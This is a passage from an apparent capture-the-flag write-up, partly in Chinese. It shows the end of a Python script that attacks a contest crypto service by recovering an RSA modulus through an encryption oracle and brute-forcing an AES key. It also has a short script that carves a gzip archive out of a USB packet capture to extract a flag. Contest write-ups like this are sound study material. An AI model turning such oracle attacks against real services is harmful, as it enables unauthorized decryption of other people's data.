99
100def main():
101 random.seed(os.urandom(32))
102 r = remote(HOST, PORT, timeout=8)
103
104 banner = recv_until_any(r, PROMPTS, timeout=6)
105 ciphertext, _ = parse_initial_banner(banner)
106 log.info(f"ciphertext length = {len(ciphertext)} bytes")
107
108 oracle = Oracle(r)
109
110 n = recover_modulus_via_gcd(oracle, pairs=64)
111 log.info(f"Recovered n bits = {n.bit_length()}")
112 if n == 0 or n.bit_length() < 1536:
113 raise RuntimeError("n looked wrong; try reconnecting or increasing pairs.")
114
115 e = 1337
116 for _ in range(8):
117 m = random.getrandbits(64) | 1
118 if pow(m, e, n) != oracle.enc(m):
119 n = gcd(n, recover_modulus_via_gcd(oracle, pairs=16))
120 else:
121 break
122
123 for k in range(1, e):
124 t = (k * n) // e
125 for key in derive_aes_key_candidates_from_topbits(t):
126 try:
127 pt = AES.new(key, AES.MODE_ECB).decrypt(ciphertext)
128 except Exception:
129 continue
130 if looks_like_flag(pt):
131 log.success(f"Found key with k={k}: {key.hex()}")
132 try:
133 print(pt.decode())
134 except Exception:
135 print(pt)
136 r.close()
137 return
138
139 log.warning("No flag-like plaintext found. Try reconnecting.")
140 r.close()
141
142if __name__ == "__main__":
143 main()
misc
usbstorage
這題給了一個 pcap 檔案,裡面是 USB 的封包,這題直接交給 GPT 解的,他最後的 script 是在封包檔案裡面發現 gzip 的 header,所以直接把那一個區段拉出來解壓縮,解開之後發現有個 flag.gz 然後再解壓縮就有 flag 了
1import re, gzip, zlib
2
3pcap = open("usbstorage.pcapng","rb").read()
4
5m = re.search(b"\x1f\x8b\x08", pcap)
6assert m, "no gzip found"
7gz = pcap[m.start():]
8
9tar = zlib.decompress(gz, 16+zlib.MAX_WBITS)
10
11name = tar[0:100].split(b'\x00',1)[0].decode()
12size_oct = tar[124:136].strip(b'\x00 ').decode()
13size = int(size_oct, 8)
14payload = tar[512:512+size]
15
16flag = gzip.decompress(payload).decode().strip()
17print(name, flag)